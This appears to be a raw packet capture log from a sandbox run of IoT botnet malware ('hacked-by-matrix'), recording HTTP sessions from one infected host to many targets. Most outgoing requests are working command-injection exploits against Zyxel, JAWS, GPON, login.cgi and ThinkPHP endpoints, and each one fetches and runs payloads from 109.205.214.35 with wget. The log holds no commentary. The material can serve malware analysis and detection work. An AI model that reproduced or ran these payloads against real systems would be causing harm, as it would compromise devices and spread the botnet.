Mar 21, 2024 05:17:43.287787914 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:43.482254028 CET	321	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:17:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:17:43.482300043 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.13	37242	104.102.19.105	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.450732946 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:41.621691942 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:17:41 GMT Date: Thu, 21 Mar 2024 04:17:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 61 32 66 30 31 30 30 32 26 23 34 36 3b 31 37 31 30 39 39 34 36 36 31 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.a2f01002.1710994661.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.13	53888	213.243.60.80	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.450839996 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.13	56948	186.29.88.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.489761114 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:42.645375967 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:43.990849018 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:46.675821066 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:52.055028915 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:02.803814888 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:25.075860977 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.13	50762	185.195.42.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.543224096 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:41.735372066 CET	188	IN	HTTP/1.0 400 Bad request Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.13	59722	81.169.157.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.547466040 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.13	36192	161.35.210.94	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.622108936 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:41.799408913 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:41 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.13	59088	47.243.242.172	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.679246902 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:41.997854948 CET	118	IN	HTTP/1.1 400 Transfer-Encoding: chunked Date: Thu, 21 Mar 2024 04:17:41 GMT Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.13	44104	151.147.160.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.704123020 CET	313	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.13	51088	198.27.70.121	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.735938072 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:41.861079931 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:40 GMT Server: Apache/2.4.58 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4 Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-
Mar 21, 2024 05:17:41.861120939 CET	1286	IN	Data Raw: 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 Data Ascii: size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { backgr
Mar 21, 2024 05:17:41.861224890 CET	1286	IN	Data Raw: 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a Data Ascii: padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left;
Mar 21, 2024 05:17:41.861274958 CET	1286	IN	Data Raw: 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 Data Ascii: -image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute;
Mar 21, 2024 05:17:41.861335039 CET	1286	IN	Data Raw: 77 71 4e 69 62 59 33 38 6d 6c 76 58 4b 44 64 55 35 70 44 48 33 54 52 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e 75 2f 33 48 6e 79 43 37 74 31 35 6f 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 Data Ascii: wqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md
Mar 21, 2024 05:17:41.861398935 CET	1286	IN	Data Raw: 4e 6c 66 38 6f 56 45 62 4b 38 41 35 35 36 51 51 4b 30 4c 4e 72 54 6a 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a 6d 42 41 65 32 62 39 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 Data Ascii: Nlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA
Mar 21, 2024 05:17:41.861423969 CET	1145	IN	Data Raw: 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 68 38 49 48 56 47 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 61 79 49 53 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 Data Ascii: Hsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGc
Mar 21, 2024 05:17:41.861540079 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to ns515645.ip-198-27-70.net's <a href="mailto:gjlang
Mar 21, 2024 05:17:41.861583948 CET	547	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 Data Ascii: </div> </div> </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral"

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.13	42648	95.165.183.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.806068897 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:42.935247898 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:43.160192966 CET	616	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:43 GMT Server: Apache/2.2.29 (Unix) PHP/5.3.29 mod_ssl/2.2.29 OpenSSL/0.9.8zf Content-Length: 320 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 X-Pad: avoid browser bug Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 32 39 20 28 55 6e 69 78 29 20 50 48 50 2f 35 2e 33 2e 32 39 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 2e 32 39 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e 38 7a 66 20 53 65 72 76 65 72 20 61 74 20 30 2e 30 2e 30 2e 30 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><hr><address>Apache/2.2.29 (Unix) PHP/5.3.29 mod_ssl/2.2.29 